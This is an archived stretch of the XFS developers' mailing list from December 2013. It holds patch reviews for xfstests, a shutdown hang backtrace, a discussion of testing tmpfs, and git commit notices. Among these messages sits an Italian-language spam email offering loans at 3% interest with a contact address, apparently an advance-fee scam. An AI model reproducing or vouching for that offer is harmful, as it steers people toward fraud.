Subject contains popular marketing words Hi Folks, We missed this patch from Eric for a few months, I observed the same false alarm while analyzing xfstests logs against our next tree... Eric's fix works fine to me. Thanks, -Jeff On 09/22 2013 05:17 AM, Eric Whitney wrote: > Generic/314 can fail when the group write file mode bit for "subdir" does not > match that found in the golden output, as has been seen in ext4 regression > testing. It appears that the golden output for generic/314 was taken on a > system where the $qa_user's umask cleared that mode bit - most likely, where > the umask was 022. Depending upon the distro, it's not uncommon for a user's > default umask to have a different value, such as 002. When that's the case, > we get a false negative failure when the group write mode bit for "subdir" is > not cleared. This failure is unrelated to the value of the SGID mode bit > that is the object of this test. > > We could either require that $qa_user's account be configured in advance with > a umask of 022, or explicitly set a umask value compatible with the golden > output when creating "subdir". The latter option is more robust. > > Signed-off-by: Eric Whitney > --- > tests/generic/314 | 2 +- > 1 file changed, 1 insertion(+), 1 deletion(-) > mode change 100644 => 100755 tests/generic/314 > > diff --git a/tests/generic/314 b/tests/generic/314 > old mode 100644 > new mode 100755 > index 0dd98a3..f430b82 > --- a/tests/generic/314 > +++ b/tests/generic/314 > @@ -57,7 +57,7 @@ chown $qa_user:12345 $TEST_DIR/$seq-dir > chmod 2775 $TEST_DIR/$seq-dir > > # Make subdirs before & after acl set > -su $qa_user -c "mkdir $TEST_DIR/$seq-dir/subdir" > +su $qa_user -c "umask 022; mkdir $TEST_DIR/$seq-dir/subdir" > su $qa_user -c "setfacl -m u:$qa_user:rwx,d:u:$qa_user:rwx $TEST_DIR/$seq-dir" > su $qa_user -c "mkdir $TEST_DIR/$seq-dir/subdir2" > > From jeff.liu@oracle.com Thu Dec 12 22:47:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 201667F4E for ; Thu, 12 Dec 2013 22:47:34 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0C93F304048 for ; Thu, 12 Dec 2013 20:47:27 -0800 (PST) X-ASG-Debug-ID: 1386910044-04cbb041666f9a40001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id GqWYVWJL3evoNt2l (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 12 Dec 2013 20:47:25 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBD4lLnd001055 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 13 Dec 2013 04:47:22 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBD4lKNM011305 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 13 Dec 2013 04:47:21 GMT Received: from abhmp0003.oracle.com (abhmp0003.oracle.com [141.146.116.9]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBD4lKeg021472; Fri, 13 Dec 2013 04:47:20 GMT Received: from [192.168.1.105] (/114.248.199.38) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Thu, 12 Dec 2013 20:47:20 -0800 Message-ID: <52AA9154.9060308@oracle.com> Date: Fri, 13 Dec 2013 12:47:16 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 1/6] xfs: don't try to mark uncached buffers stale on error. References: <1386826478-13846-1-git-send-email-david@fromorbit.com> <1386826478-13846-2-git-send-email-david@fromorbit.com> <52A98226.4020705@oracle.com> <20131212100947.GW10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/6] xfs: don't try to mark uncached buffers stale on error. In-Reply-To: <20131212100947.GW10988@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1386910045 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143057 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 12/12 2013 18:09 PM, Dave Chinner wrote: > On Thu, Dec 12, 2013 at 05:30:14PM +0800, Jeff Liu wrote: >> On 12/12 2013 13:34, Dave Chinner wrote: >>> From: Dave Chinner >> >> It seems there is no such kind of test cases in xfstestes for now, I'd >> write one if required. > > nothing quite that generic - xfs/087 does a loop like that over > different log configurations, but that's testing log recovery more > than shutdown sanity. Adding that test would be a good idea - it's a > shame no other filesystem supports a shutdown like XFS does.... This is really an unique feature of us :), I'll write a case so. > >> The backtraces were shown as following: >> >> [ 365.987493] INFO: task fsstress:3215 blocked for more than 120 seconds. >> [ 365.987499] Tainted: PF O 3.13.0-rc2+ #13 >> [ 365.987500] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. >> [ 365.987502] fsstress D ffff88026f254440 0 3215 3142 0x00000000 >> [ 365.987507] ffff880253f19de0 0000000000000086 ffff880242071800 ffff880253f19fd8 >> [ 365.987512] 0000000000014440 0000000000014440 ffff880242071800 ffff880073694c00 >> [ 365.987515] ffff880073694c80 ffff880073694c90 ffffffffffffffff 0000000000000292 >> [ 365.987519] Call Trace: >> [ 365.987528] [] schedule+0x29/0x70 >> [ 365.987560] [] xlog_cil_force_lsn+0x18d/0x1e0 [xfs] >> [ 365.987565] [] ? wake_up_state+0x20/0x20 >> [ 365.987570] [] ? do_fsync+0x80/0x80 >> [ 365.987594] [] _xfs_log_force+0x61/0x270 [xfs] >> [ 365.987599] [] ? jbd2_log_wait_commit+0x110/0x180 >> [ 365.987603] [] ? prepare_to_wait_event+0x100/0x100 >> [ 365.987607] [] ? do_fsync+0x80/0x80 >> [ 365.987629] [] xfs_log_force+0x26/0x80 [xfs] >> [ 365.987648] [] xfs_fs_sync_fs+0x2d/0x50 [xfs] >> [ 365.987652] [] sync_fs_one_sb+0x20/0x30 >> [ 365.987656] [] iterate_supers+0xb2/0x110 >> [ 365.987660] [] sys_sync+0x62/0xa0 >> [ 365.987665] [] system_call_fastpath+0x1a/0x1f >> [ 372.225302] XFS (sda7): xfs_log_force: error 5 returned. >> [ 402.275608] XFS (sda7): xfs_log_force: error 5 returned. >> [ 432.325929] XFS (sda7): xfs_log_force: error 5 returned. >> [ 462.376239] XFS (sda7): xfs_log_force: error 5 returned. > > So what we see here is that there is a race condition somewhere in > the shutdown code. The shutdown is supposed to wake everyone waiting > of the ic_force_wait wait queue on each iclog, but for some reason > that hasn't happened. The sleepers check for XLOG_STATE_IOERROR > (which is set during the force shutdown before we wake ic_force_wait > sleepers) before they go to sleep, so whatever the race is it isn't > immediately obvious to me. Now I basically can always reproducing this problem on SSD, so I'm going to get involved in tracing down it. Thanks, -Jeff From tytso@thunk.org Thu Dec 12 22:56:40 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A3AA37F4E for ; Thu, 12 Dec 2013 22:56:40 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 9333A8F8052 for ; Thu, 12 Dec 2013 20:56:37 -0800 (PST) X-ASG-Debug-ID: 1386910571-04cb6c537b6f4a20001-NocioJ Received: from imap.thunk.org (imap.thunk.org [74.207.234.97]) by cuda.sgi.com with ESMTP id wZx1tuQj2V16aYtq (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO) for ; Thu, 12 Dec 2013 20:56:11 -0800 (PST) X-Barracuda-Envelope-From: tytso@thunk.org X-Barracuda-Apparent-Source-IP: 74.207.234.97 Received: from root (helo=closure.thunk.org) by imap.thunk.org with local-esmtp (Exim 4.80) (envelope-from ) id 1VrKnF-0004Ee-84; Fri, 13 Dec 2013 04:56:05 +0000 Received: by closure.thunk.org (Postfix, from userid 15806) id 085505802FC; Thu, 12 Dec 2013 23:56:04 -0500 (EST) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=thunk.org; s=mail; t=1386910564; bh=2E2MjO8A8DJKqZbb5EIvhkM4YqazYX/ueJGaXb4LD0g=; h=Date:From:To:Cc:Subject:References:In-Reply-To:From; b=03UavXQ5AJAQ5lxlQyrlDPsDB/XVaKJjUl7OK7OxA4ZRZ07mmbPfl/a1+U5Y1lHsp MToLgvrJJGZQJJl5WUY6snFx7WtSoxJyqjLYTsH6X+yKqvTGrLDD9NbWkfH6q0IQhi 9lgl6ajyok36qZtjcIWpMMmU8XBgj/vRCH3DtU34= Date: Thu, 12 Dec 2013 23:56:03 -0500 From: Theodore Ts'o To: Dave Chinner Cc: Christoph Hellwig , Junho Ryu , hughd@google.com, branto@redhat.com, xfs@oss.sgi.com Subject: Re: [PATCH 05/10] xfstests: do not unmount tmpfs during remount. Message-ID: <20131213045603.GG23888@thunk.org> X-ASG-Orig-Subj: Re: [PATCH 05/10] xfstests: do not unmount tmpfs during remount. References: <1386706321-15795-1-git-send-email-jayr@google.com> <1386706321-15795-6-git-send-email-jayr@google.com> <20131211074615.GE19248@infradead.org> <20131211224012.GJ10988@dastard> <20131212180130.GA19422@infradead.org> <20131212225657.GK10988@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131212225657.GK10988@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SA-Exim-Connect-IP: X-SA-Exim-Mail-From: tytso@thunk.org X-SA-Exim-Scanned: No (on imap.thunk.org); SAEximRunCond expanded to false X-Barracuda-Connect: imap.thunk.org[74.207.234.97] X-Barracuda-Start-Time: 1386910571 X-Barracuda-Encrypted: AES128-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143057 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Fri, Dec 13, 2013 at 09:56:57AM +1100, Dave Chinner wrote: > This case with tmpfs is different - it doesn't support *being > unmounted* during a test because it is volatile. That's a > fundamental change to the assumptions xfstests makes about > filesystems being tested.... > > I don't know what the solution here is - everything I think of is > either messy, ugly or unmaintainable. All I'm trying to do is find a > way to handle tmpfs filesystems in a way that is maintainable and > doesn't require every developer to be aware of the quirks of tmpfs > when writing and reviewing new generic tests.... There should be a relatively small number of reasons why a generic test would need to umount and remount a file system; the most common case is so it can run fsck on the file system. What's actually strange is that is that generic/053 is explicitly umounting and remounting the file system: _do 'unmount $SCRATCH_DEV' 'umount $SCRATCH_DEV' _do 'repair filesystem' '_check_scratch_fs' _do 'mount filesytem' '_scratch_mount' In fact, that's not necessary, because _check_test_fs and _check_scratch_fs will take care of umounting and remounting the file system. So if this is the only problem case which Junho has found, why not just patch generic/053 so it doesn't explicitly umount and remount the file system, since we've already taught _check_*_fs to be a no-op for tmpfs. As for dm_flakey, tests, we can just have _require_dm_flaky be false for tmpfs file system. So we're still playing whack-a-mole, yes, but on classes of test requirements instead of individual tests. If we address the umount/remount for fsck and dm_flakey, are there other significant classes of tests that would still be problematic for tmpfs? - Ted From TysonRe@boe.richmond.k12.ga.us Thu Dec 12 23:39:56 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 7F7C27F4E for ; Thu, 12 Dec 2013 23:39:56 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 707478F8049 for ; Thu, 12 Dec 2013 21:39:44 -0800 (PST) X-ASG-Debug-ID: 1386913153-04cbb041686fc0a0001-w1Z2WR Received: from MailGW1.richmond.k12.ga.us (rcboe-smtpfe.boe.richmond.k12.ga.us [168.11.144.100]) by cuda.sgi.com with ESMTP id oqTfaPfyebEXpvdI; Thu, 12 Dec 2013 21:39:15 -0800 (PST) X-Barracuda-Envelope-From: TysonRe@boe.richmond.k12.ga.us X-Barracuda-Apparent-Source-IP: 168.11.144.100 X-AuditID: 0af2036c-f79156d0000032f6-29-52aa9ce74a9e Received: from RCBOE-TRANS2.richmond.k12.ga.us (rcboe-trans2.richmond.k12.ga.us [10.242.2.107]) by MailGW1.richmond.k12.ga.us (Symantec Messaging Gateway) with SMTP id E0.71.13046.7EC9AA25; Fri, 13 Dec 2013 00:36:40 -0500 (EST) To: undisclosed-recipients:; Received: from RCBOE-MAILBOX2.richmond.k12.ga.us ([fe80::2181:c863:cf7a:ac7b]) by RCBOE-TRANS2.richmond.k12.ga.us ([fe80::5efe:10.242.2.107%17]) with mapi; Fri, 13 Dec 2013 00:38:28 -0500 From: "Tyson, Rebecca" Date: Fri, 13 Dec 2013 00:38:26 -0500 Subject: Thread-Index: AQHO98WN8grND1u33Uu/YK/b2SKLlw== X-ASG-Orig-Subj: Message-ID: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: multipart/alternative; boundary="_000_DA4C7EF67FEAC941BE0ECCA1712E8671681711E9CERCBOEMAILBOX2_" MIME-Version: 1.0 X-Brightmail-Tracker: H4sIAAAAAAAAA12UfUwTdxjH/d1bT+TcUaScVbbZxLg5RdQZnz/M5pKZXaIzBreRuURW4YCO 2rIedaKJU4oDX6pYFeRFCkpEumaowUgDEakYkW0yt1nwFW1BFJ0yJ75AprtrKR67v558vs/v +T7Pk9/vaFxdGamlDaZswWLSG3VUBBHxGMucfbfclZjga5wGD/bPhPqOARwu9xeR8NRtp6C+ ZQ8FPSeacPDbKkk42dxNwotdjzE423oGgwKXDQPPs2sIHIHVsKesSQrKBwk4srsWh1z/RLhT 1oiBI+8WCftuX8eguO05Dvbz9TgMVVWTcDB/JwXe3l0UtPnToL/eg6D0zj0M8nMbSKi0zYJ6 1yUMnJf/IWHIfReDf58Pk5B7apCCgkdSyRc3fDjYOpdD4dUbODx0PEZwK89HQHHBWRxO2n9E UOjwq+DYPj8C594LCCprdyCw+aTzRb6HCO4Pl2DwvDAfg4rARHhwuAuDnxytFDxy/o7BxcuH CDh3/CIFp7tO41C8o4+C3feuqKDb6VLBloHbGByoqVPBtvwTxOJUvqjsF4p/Yj9O8t2NtSre 5hH57vJSFb/TnsAfC9SRfMXgUZLfGyhHfKDuD4JvOVKN8+3DDTg/0DJE8H/bthB8z4VeFV/t 3KZakbAqYlGqYDSsEyxzPvg6ImPgVQORdTh6fa19K7YZFUdtR+Npjn2f+6u1lgjFGu63m3XU dhRBq9lexJ133yRlYRI7lTtYFiBDQjPinLtuUrJAsQu5uidXkBwT7HRuyHMRl+NoluZOt1Rg ocPxXPNeh0qOGXYVt6OxKRgjye1ZuzuYg7Ox3NUeJxbqguWqmzrwUBzD3Qu8JEP5Mdz1/DoU yjdzlT/48VDNKO5CSQ9RiKJKFaVKFWmlirQQj+e69u+jQvF73JGq+3gons0deOkllLwSqVxI +6neYPwkaW68xZCSsdZsSo3PnDsvPl0fbxVPoOADwI0NqL1jjhexNNJFMrzdlagm9evEnLVe lEljuhjm42IJTVxjTs3J0IsZyRarURB1k5gC6dmomVG8xmrM1GmZ62USjR6lJuE70ShkSy9O 9yZDf1ubqI4d1USrmGVIMZitYrLVYvQijsalss0z5LKp+pwNgsUcMvOiKTShi2VudQ6tULPp +mwhUxCyBEtYzUU0ze5pHkrSEiazSdBxTJzcRZRFSBfWpxmM2eFUqcaAQ1JYpRJsPI5ZlCAJ GqWg6H0a85Hcu1Yp/799jB7vRel0pDTDyuBqxCz9WtGQPmIdzcyXaWSYBm0nM4tlqA5DhWUc Q1gkS01YGmvXjrYibSxTJc/JyikZVtPomFoN0ya3+4ZCkO20U5kvphxNVMco+GtH7dvMn/Kp yQp1rKlOrWZfbh4X/KZtaUvp2ODe2I9SpHsTzXwZHE76t76eWM0sleGEERgcmGOWyyxqhCnm ncrEyfPGjChjnfulxWLSYq+trJEXm63PVi525mc18mJH6Mhi35KhOgzHLHaWLGnC0lgn7WaU czKnZzWVtDDfn+eqWrbkc/2NtAlMf5G9z9iXfOabwY3vJs241Lig5Fxeug6yPI8eqlIvGQ9d e4fsFe5zOXOEVfNjVdPPb7J4pszrLRw3+XsfSuzZuWCp5te7nKD58GlfpLuzdUnV/Ap72rDh VE3nz7x5Y0lXonHTV/yrZJ97nueUjhAz9HNn4hZR/x/5tgMLswYAAA== X-Barracuda-Connect: rcboe-smtpfe.boe.richmond.k12.ga.us[168.11.144.100] X-Barracuda-Start-Time: 1386913155 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-BRTS-Evidence: 73a4bf47a69e821eeb44f871590ab120-1404-htm X-Barracuda-Spam-Score: 1.81 X-Barracuda-Spam-Status: No, SCORE=1.81 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA620a, HTML_MESSAGE, MISSING_SUBJECT, MISSING_SUBJECT_2, THREAD_INDEX X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143058 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.00 HTML_MESSAGE BODY: HTML included in message 0.01 MISSING_SUBJECT Missing Subject: header 0.50 BSF_SC0_SA620a Custom Rule SA620a 1.28 MISSING_SUBJECT_2 Missing Subject: header --_000_DA4C7EF67FEAC941BE0ECCA1712E8671681711E9CERCBOEMAILBOX2_ Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Avete bisogno di finanziamento? Avete bisogno Business o prestito personale? Volete rifinanziare la vostra azienda? La nostra azienda ha sede in Stati Uniti e in Europa. Diamo fuori di presti= to per ogni singolo e la societ=E0 al 3% tasso di interesse annuale. Per ulteriori informazioni, contattare Email: r= enefind@outlook.com ________________________________ "Learning Today... Leading Tomorrow" The Mission of the Richmond County School System is to educate students to = become lifelong learners and productive citizens. --_000_DA4C7EF67FEAC941BE0ECCA1712E8671681711E9CERCBOEMAILBOX2_ Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
    =  

    Avete bisogno di finanziamento? Avete bisogno Business o prestito personale<= a>?
    Volete rifinanziare la vostra azienda= ?
    La nostra azienda ha sede in Stati = ;Uniti e in Europa. Diamo fuori = di prestito per ogni singolo e l= a societ=E0 al 3%
    tasso di interesse annuale. Per = ulteriori informazioni, contattare Email: renefind@outlook.com



    "Learning Today... Lead= ing Tomorrow"
    The Mission of the Richmond County School System is to educate students to = become lifelong learners and productive citizens.
    --_000_DA4C7EF67FEAC941BE0ECCA1712E8671681711E9CERCBOEMAILBOX2_-- From dgc@oss.sgi.com Thu Dec 12 23:46:19 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 10266) id 498727F51; Thu, 12 Dec 2013 23:46:19 -0600 (CST) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, tip-log-format, created. v3.12-11695-gffda4e8 X-Git-Refname: refs/heads/tip-log-format X-Git-Reftype: branch X-Git-Oldrev: 0000000000000000000000000000000000000000 X-Git-Newrev: ffda4e83aa107ff55345dc583efdb24fca486fb5 Message-Id: <20131213054619.498727F51@oss.sgi.com> Date: Thu, 12 Dec 2013 23:46:17 -0600 (CST) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, tip-log-format has been created at ffda4e83aa107ff55345dc583efdb24fca486fb5 (commit) - Log ----------------------------------------------------------------- commit ffda4e83aa107ff55345dc583efdb24fca486fb5 Author: Christoph Hellwig Date: Fri Dec 13 11:34:08 2013 +1100 xfs: remove the quotaoff log format from the quotaoff log item This one doesn't save a whole lot of memory, but still makes the code simpler. Signed-off-by: Christoph Hellwig Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner commit ce8e962939ca12218092f8eb3c8cfb196cd8cc51 Author: Christoph Hellwig Date: Fri Dec 13 11:34:07 2013 +1100 xfs: remove the dquot log format from the dquot log item No need to keep the dquot log format around all the time, we can easily generate it at iop_format time. Signed-off-by: Christoph Hellwig Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner commit 2f251293b09065118d78ae4e883e5639cc22f94e Author: Christoph Hellwig Date: Fri Dec 13 11:34:05 2013 +1100 xfs: remove the inode log format from the inode log item No need to keep the inode log format around all the time, we can easily generate it at iop_format time. Signed-off-by: Christoph Hellwig Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner commit da7765031de15273d370d18a5354e1d8001ce2a9 Author: Christoph Hellwig Date: Fri Dec 13 11:34:04 2013 +1100 xfs: format logged extents directly into the CIL With the new iop_format scheme there is no need to have a temporary buffer to format logged extents into, we can do so directly into the CIL. This also allows to remove the shortcut for big endian systems that probably hasn't gotten a lot of test coverage for a long time. Signed-off-by: Christoph Hellwig Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner commit bde7cff67c39227c6ad503394e19e58debdbc5e3 Author: Christoph Hellwig Date: Fri Dec 13 11:34:02 2013 +1100 xfs: format log items write directly into the linear CIL buffer Instead of setting up pointers to memory locations in iop_format which then get copied into the CIL linear buffer after return move the copy into the individual inode items. This avoids the need to always have a memory block in the exact same layout that gets written into the log around, and allow the log items to be much more flexible in their in-memory layouts. The only caveat is that we need to properly align the data for each iovec so that don't have structures misaligned in subsequent iovecs. Note that all log item format routines now need to be careful to modify the copy of the item that was placed into the CIL after calls to xlog_copy_iovec instead of the in-memory copy. Signed-off-by: Christoph Hellwig Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner commit 1234351cba958cd5d4338172ccfc869a687cd736 Author: Christoph Hellwig Date: Fri Dec 13 11:00:43 2013 +1100 xfs: introduce xlog_copy_iovec Add a helper to abstract out filling the log iovecs in the log item format handlers. This will allow us to change the way we do the log item formatting more easily. The copy in the name is a bit confusing for now as it just assigns a pointer and lets the CIL code perform the copy, but that will change soon. Signed-off-by: Christoph Hellwig Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner commit 3de559fbd04d67473b9be2bd183823c40c4b7557 Author: Christoph Hellwig Date: Fri Dec 13 11:00:43 2013 +1100 xfs: refactor xfs_inode_item_format Split out a function to handle the data and attr fork, as well as a helper for the really old v1 inodes. Signed-off-by: Christoph Hellwig Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner commit ce9641d6c981aad0463b2d1455f0b60e5c8671c5 Author: Christoph Hellwig Date: Fri Dec 13 11:00:43 2013 +1100 xfs: refactor xfs_inode_item_size Split out two helpers to size the data and attribute to make the function more readable. Signed-off-by: Christoph Hellwig Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner commit 7aeb72224120e0c49ba4c93d75f8f0d6a87f6afd Author: Christoph Hellwig Date: Fri Dec 13 11:00:43 2013 +1100 xfs: refactor xfs_buf_item_format_segment Add two helpers to make the code more readable. Signed-off-by: Christoph Hellwig Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner commit 9597df6b26a1988a5a04762711149f98ec6ab388 Author: Christoph Hellwig Date: Fri Dec 13 11:00:42 2013 +1100 xfs: remove duplicate code in xlog_cil_insert_format_items Share code that was previously duplicated in two branches. Signed-off-by: Christoph Hellwig Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner ----------------------------------------------------------------------- hooks/post-receive -- XFS development tree From dgc@oss.sgi.com Thu Dec 12 23:46:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 10266) id 6846B7F56; Thu, 12 Dec 2013 23:46:49 -0600 (CST) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, tip-icluster-factor, created. v3.12-11693-gf9e5abc X-Git-Refname: refs/heads/tip-icluster-factor X-Git-Reftype: branch X-Git-Oldrev: 0000000000000000000000000000000000000000 X-Git-Newrev: f9e5abcfc5b299a988cf8f9d0ad11e03da14806b Message-Id: <20131213054649.6846B7F56@oss.sgi.com> Date: Thu, 12 Dec 2013 23:46:48 -0600 (CST) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, tip-icluster-factor has been created at f9e5abcfc5b299a988cf8f9d0ad11e03da14806b (commit) - Log ----------------------------------------------------------------- commit f9e5abcfc5b299a988cf8f9d0ad11e03da14806b Author: Jie Liu Date: Fri Dec 13 15:51:49 2013 +1100 xfs: use xfs_icluster_size_fsb in xfs_imap Use xfs_icluster_size_fsb() in xfs_imap(). Signed-off-by: Jie Liu Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner commit 982e939e4ddc8c00cb478fb4d725d0e3d18971cc Author: Jie Liu Date: Fri Dec 13 15:51:49 2013 +1100 xfs: use xfs_icluster_size_fsb in xfs_ifree_cluster Use xfs_icluster_size_fsb() in xfs_ifree_cluster(), rename variable ninodes to inodes_per_cluster, the latter is more meaningful. Signed-off-by: Jie Liu Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner commit 6e0c7b8c3ea62d684af267d34fc015253e7cd6e5 Author: Jie Liu Date: Fri Dec 13 15:51:49 2013 +1100 xfs: use xfs_icluster_size_fsb in xfs_ialloc_inode_init Use xfs_icluster_size_fsb() in xfs_ialloc_inode_init(), rename variable ninodes to inodes_per_cluster, the latter is more meaningful. Signed-off-by: Jie Liu Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner commit a2ba07b2d2215bed560aa67c84275304314d9691 Author: Jie Liu Date: Fri Dec 13 15:51:48 2013 +1100 xfs: use xfs_icluster_size_fsb in xfs_bulkstat Use xfs_icluster_size_fsb() in xfs_bulkstat(), make the related variables more meaningful and remove an unused variable nimask from it. Signed-off-by: Jie Liu Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner commit 904957b75033149509dc0fecc0af34348f87c78c Author: Jie Liu Date: Fri Dec 13 15:51:48 2013 +1100 xfs: introduce a common helper xfs_icluster_size_fsb Introduce a common routine xfs_icluster_size_fsb() to calculate and return the number of file system blocks per inode cluster. Signed-off-by: Jie Liu Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner commit 126cd105d4408ff52437a72d681aecdb29cc80e8 Author: Jie Liu Date: Fri Dec 13 15:51:48 2013 +1100 xfs: get rid of XFS_IALLOC_BLOCKS macros Get rid of XFS_IALLOC_BLOCKS() marcos, use mp->m_ialloc_blks directly. Signed-off-by: Jie Liu Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner commit 0f49efd805229fc747761213ec820c1ba3ab64db Author: Jie Liu Date: Fri Dec 13 15:51:48 2013 +1100 xfs: get rid of XFS_INODE_CLUSTER_SIZE macros Get rid of XFS_INODE_CLUSTER_SIZE() macros, use mp->m_inode_cluster_size directly. Signed-off-by: Jie Liu Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner commit 717834383c6ad2173323b823b97c521c9fb8fbbb Author: Jie Liu Date: Fri Dec 13 15:51:46 2013 +1100 xfs: get rid of XFS_IALLOC_INODES macros Get rid of XFS_IALLOC_INODES() marcos, use mp->m_ialloc_inos directly. Signed-off-by: Jie Liu Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner 